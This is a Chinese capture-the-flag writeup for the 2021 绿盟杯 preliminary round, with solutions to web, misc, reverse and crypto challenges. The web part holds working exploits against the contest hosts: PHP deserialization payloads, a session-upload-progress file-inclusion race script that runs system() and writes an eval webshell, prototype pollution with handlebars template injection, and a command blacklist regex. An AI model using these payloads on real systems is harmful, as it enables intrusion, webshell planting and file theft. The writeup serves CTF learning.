0%

绿盟杯2021初赛 Writeup by 0xfa

WEB

serialize

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
highlight_file(__FILE__);

class Demo{
public $class;
public $user;
public function __construct()
{
$this->class = "safe";
$this->user = "ctfer";
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}

public function __wakeup()
{
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}

}
class safe{
var $user;
public function __construct($user)
{
$this->user = $user;
echo ("hello ".$this->user);
}
}


if(isset($_GET['data'])){
unserialize($_GET['data']);
}
else{
$demo=new Demo;

}

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
echo "/flag is not here! Baby~";

function check($info){
$filter_arr = array('system','flag','eval');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter, '', $info);
}

$profile['path'] = $_POST['path'];
$profile['file'] = $_POST['file'];
$fun_ser = check(serialize($profile));

if(strpos($fun_ser, 'log') !== false){
die();
}

$ser_info = unserialize($fun_ser);
var_dump(readfile($ser_info['file']));

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Demo{
public $class;
public $user;
public function __construct()
{
// $this->class = "safe";
// $this->user = "ctfer";
// $context = new $this->class ($this->user);
// foreach($context as $f){
// echo $f;
// }
}

// public function __wakeup()
// {
// $context = new $this->class ($this->user);
// foreach($context as $f){
// echo $f;
// }
// }
}

$a=new Demo();

// $a->user='./*.php';
// $a->class= 'GlobIterator';
$a->class= 'SplFileObject';
$a->user='/proc/self/cwd/flag.php';
echo urlencode(serialize($a));

使用GlobIterator列目录, SplFileObject读文件
得出flag.php的源码,反序列化逃逸,然后post path和file得出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
echo "/flag is not here! Baby~";

function check($info){
$filter_arr = array('system','flag','eval');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter, '', $info);
}

$profile['path'] = 'systemsystemsystemsystem';
$profile['file'] = 'aaaaa";s:4:"file";s:5:"/fflaglag";}';


$fun_ser = check(serialize($profile));
var_dump($fun_ser);
if(strpos($fun_ser, 'log') !== false){
die();
}

$ser_info = unserialize($fun_ser);
var_dump(readfile($ser_info['file']));
//flag{3e1e6f1dba7622e67d5c674590fe8c3c}

寻宝奇兵

第一层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$SECRET="There is no treasure here";
if (isset($_COOKIE["users"])) {
if($_COOKIE["users"]==="explorer")
{
die("Explorers are not welcome");
}
$hash = $_COOKIE["hash"];
$users=$_COOKIE["users"];
if($hash === md5($SECRET.$users)){
echo "<script >alert('恭喜";
}
} else {
setcookie("users", "explorer");
setcookie("hash", md5($SECRET . "explorer"));
}
?>

$SECRET直接给出,构造hash即可

第二层:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$pass='';
for ( $i = 0; $i < 24; $i++ ){
$pass.=substr($table, mt_rand(0, strlen($table) - 1), 1);
}
if(isset($_POST['password'])){
if($pass==$_POST['password']){
echo "<script >alert('恭喜你";
?>

伪随机数,跟着网上文章打就行:https://blog.csdn.net/qq_45521281/article/details/107302795
第三层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function is_php($data){
return preg_match('/[flag].*[php]/is', $data);
}

if($_POST['treasure'])
{
if(is_php($_POST['treasure'])) {
echo "<script >alert('这个不能拿走');</script>";
} else {
if(preg_match('/flag.php/is', $_POST['treasure'])){
highlight_file('flag.php');
}
}
}

?>

复现:https://blog.csdn.net/qq_38783875/article/details/85288671
拿到flag

mid

1
2
3
4
5
<?php
session_start();
include $_GET[1];
highlight_file(__FILE__);
?>

文件包含,直接session_upload_progress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import io
import sys
import requests
import threading

sessid = 'testqwer2'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://119.61.19.212:57303/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /flag');phpinfo();fputs(fopen('/var/www/html/myshell.php','w'),'<?php phpinfo();@eval($_POST[whoami])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://119.61.19.212:57303/index.php?1=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
# print(response.text)

if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

注意upload_progress好像有缓存,每次需要更换sessid

glowworm

/source

source 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const express = require('express');
const bodyParser = require('body-parser')
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();
const FLAG = 'flag{test_test}';

app.set('view engine', 'html');
app.engine('html', require('hbs').__express);
app.use(express.urlencoded());
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())

var glowworm = [];
var content = [];

function sha1(string) {
return crypto.createHash("sha1").update(string).digest("hex");
}

app.get('/', (req, res) => {
const { page } = req.query;
if (!page) res.redirect('/?page=index');
else res.render(page, { FLAG, 'insect': 'glowworm' });
});

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/app.js'));
});

app.post('/data', function(req, res) {
var worm = req.body;
content[worm.wing][worm.fire] = worm.data;
res.end('data success')
});

app.get('/refresh', (req, res) => {
let files = [];
var paths = path.join(__dirname, 'views/sandbox')
if (fs.existsSync(paths)) {
files = fs.readdirSync(paths);
files.forEach((file, index) => {
let curPath = paths + "/" + file;
if (fs.statSync(curPath).isFile()) {
fs.unlinkSync(curPath);
}
});
}
res.end('refresh success')
});

app.post('/', (req, res) => {
const key = "worm";
const { content, a, b } = req.body;




if (!a || !b || a.length !== b.length) {
res.send("no!!!");
return;
}
if (a !== b && sha1(key + a) === sha1(key + b)) {

console.log(glowworm.token1);
console.log(sha1(glowworm.token1));
//console.log( === req.query.token2);
if (glowworm.token1 && req.query.token2 && sha1(glowworm.token1) === req.query.token2) {

if (typeof content !== 'string' || content.indexOf('FLAG') != -1) {
res.end('ban!!!');
return;
}
const filename = crypto.randomBytes(8).toString('hex');
fs.writeFile(`${path.join('views','sandbox',filename)}.html`, content, () => {
res.redirect(`/?page=sandbox/${filename}`);
})
} else {
res.send("no no no!!!");
}
} else {
res.send("no no!!!");
}
});

app.listen(8888, '0.0.0.0');

两个点,第一个js数组的toString特性来绕过sha1的判断。
第二个,修改content的proto来设置不存在的token1值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /data HTTP/1.1
Host: 119.61.19.212:57302
Content-Length: 64
Cache-Control: max-age=0
Origin: http://119.61.19.212:57302
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://119.61.19.212:57302/data
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Connection: close

wing=__proto__&fire=token1&data=db695c5157f851223d6c03fa3e63ba53
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?token2=1900dc271bb39160b01ba20b3fc247bd238cfcc3 HTTP/1.1
Host: 119.61.19.212:57302
Content-Length: 189
Cache-Control: max-age=0
Origin: http://119.61.19.212:57302
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://119.61.19.212:57302/?page=index
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Connection: close

a[]=a&b=a&content=%7b%7b%23%65%61%63%68%20%74%68%69%73%7d%7d%7b%7b%40%6b%65%79%7d%7d%20%3d%3e%20%7b%7b%74%68%69%73%2e%74%6f%53%74%72%69%6e%67%7d%7d%3c%62%72%3e%7b%7b%2f%65%61%63%68%7d%7d%0a

hbs模板注入信息泄露
https://threezh1.com/2020/12/28/华为HCIE的第一课%20Writeup/#hbs模板注入导致信息泄露

1
{{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}

因为可以执行一定的系统命令,其他队的师傅还想到了直接tar打包全部的php的内容,然后下载。单个环境,写入的shell也非常容易被上车。

flag在哪里

首先思路是构造pop读getflag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{

}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
var_dump($this);
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt";
if(is_file($filename)){
unlink($filename);
}
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
// $this->file="test.txt";
// echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}


$a=new begin();
$a->file = 'file:///etc/passwd';
$a->mode = 'asdas';
$b=new begin();
$b->file= 'getflag.php';
echo urlencode(serialize($a));

调用begin的call方法,读getflag文件。

然后写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{
$this->file = 'b0eacc6cb3904a848106501cda4d4f25';
$this->mode = 'write';
$this->content = '<?php system("cat _f_l_a_g.php");?>';
$this->choice=new write();
}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
var_dump($this);
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt";
if(is_file($filename)){
unlink($filename);
}
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
// $this->file="test.txt";
// echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}


$a=new begin();
echo urlencode(serialize($a));

这里payload要做修改,将s换成\73,左右括号换成\28\29,content的中的s大写,大概这样。

1
O:5:"begin":4:{s:4:"file";s:32:"b0eacc6cb3904a848106501cda4d4f25";s:4:"mode";s:5:"write";s:7:"content";S:35:"<?php \73ystem\28"cat _f_l_a_g.php"\29;?>";s:6:"choice";O:5:"write":0:{}}

然后继续getflag.php,system可以用,但是直接搞flag的都被ban了,这里我们想到了php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$a=$_POST['a'];
$b=$_POST['b'];
if(preg_match('/cat|more|less|head|tac|tail|nl|od|vi|sort|cut|ping|curl|nc|grep|system|exec|bash|unique|find|popen|open|ls|rm|sleep|chr|ord|bin|hex|dict|#|`|\$|\<|\(|\[|\]|\{|\}|\)|\>|\_|\'|"|\*|;|\||&|\/|\\\\/is', $a)){
die("hack!!!!");
}
if(!preg_match('/[a-z]/is', $b))
{
die("big hack!!!!");
}
call_user_func($b,$a);

MISC

签到

base64直接解?题目下线了,忘了

DECODER

三部分txt
flag_1.txt

1
2
3
4
5
GUZEQ3TTJVIWIQSFGVNGO5DHIVVWI===

base32 base58 base85

042f38b694

flag_2.txt

1
2
cipher:👉🦓🏎💵🕹🚪🎤🙃☂☀🌏🛩💵😇🚨🚪🎤👉🔪👣🐎✖☂🎤✉🔪😊🍎🚰🌪🚪🚹🍌🚰🎃🎤💧😎🥋🍎✖🎃👉🍵
key:👮👟👟👡👥👦

base100解key,whhjno
emoji-aes带上密匙解密,https://aghorler.github.io/emoji-aes/
Rotation设置36,解得b52bff9568
flag_3.txt
base91解码后发现base64隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: utf-8 -*-

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

with open('base.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())

offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset

if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)

print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8 位一组

37f267472516
拼接添加flag{}即可

huahua

改成zip文件头,然后补png文件头
直接修改高度得到flag

NOISE

out文件(010editor)直接放进AudacityPortable看频谱图

调一下大小,可以直接看到flag

RE

REEEE

1
2
3
4
5
6
7
8
9
10
11
import base64

alpha1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
alpha2 = 'RSTUVWXYZabcdefghijklmnoABCDEFGHIJKLMNOPQpqrstuvwxyz0123456789+/='

flag = 'BOxJB3tMeXV2dkM1BLR5A2Z3ekI2fXWLBUR0fUI2ekaMA2AzA30='

flag = flag.translate(str.maketrans(alpha2, alpha1))

print(flag)
print(base64.b64decode(flag))

HardRe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

s = base64.b64decode('c2JWblhyX0dgQnk8RHBdNWdJVW1HazZ0NHg=')
ss = ''
for sss in s[13:]:
if ord('z') >= sss ^ 0x5 >= ord('0'):
ss += chr(sss ^ 0x5)
else:
ss += chr(sss)
for sss in s[:13]:
if ord('z') >= sss ^ 0xf >= ord('0'):
ss += chr(sss ^ 0xf)
else:
ss += chr(sss)
print(ss)

CRYPTO

签到2

凯撒密码

easyRSA

百度脚本直接出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes

e=0x10001
n=101031799769686356875689677901727632087789394241694537610688487381734497153370779419148195361726900364384918762158954452844358699628272550435920733825528414623691447245900175499950458168333742756118038555364836309568598646312353874247656710732472018288962454506789615632015856961278964493826919853082813244227
c=59381302046219861703693321495442496884448849866535616496729805734326661742228038342690865965545318011599241185017546760846698815333545820228348501022889423901773651749628741238050559441761853071976079031678640014602919526148731936437472217369575554448232401310265267205034644121488774398730319347479771423197
dp=1089885100013347250801674176717862346181995027932544377293216564837464201546385463279055643089303360817423261428901834798955985043080308895369226243973673
for i in range(1,65538):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
m = pow(c,d,n)
print long_to_bytes(m)